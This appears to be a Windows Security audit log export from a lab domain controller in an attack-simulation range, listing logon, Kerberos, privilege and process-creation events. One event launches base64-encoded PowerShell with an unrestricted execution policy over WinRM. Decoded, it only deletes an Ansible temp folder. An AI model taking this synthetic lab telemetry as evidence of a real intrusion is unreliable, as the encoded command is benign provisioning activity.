Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1388 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1340 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABJAEEATABnAEEAMgBBAEQAYwBBAE0AUQBBAHkAQQBEAFUAQQBOAEEAQQB0AEEARABJAEEATgBnAEEAdwBBAEQAWQBBAE0AdwBBADEAQQBEAFkAQQBOAEEAQQB5AEEARABFAEEATwBBAEEANQBBAEQARQBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250692 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x117455 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250691 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x117455 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250690 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250689 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250688 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250687 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11740A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250686 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11740A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250685 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11740A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250684 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250683 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {0E3964DB-6CCA-F55D-084E-37FE639F5994} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250682 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x117420 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250681 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250680 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x117420 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64472 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250679 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x117420 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250678 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x116E39 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250677 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1173B5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250676 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1173B5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64471 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250675 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1173B5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250674 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11734F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250673 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11734F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64470 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250672 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11734F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250671 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1172EE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250670 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1172EE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64469 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250669 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1172EE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - 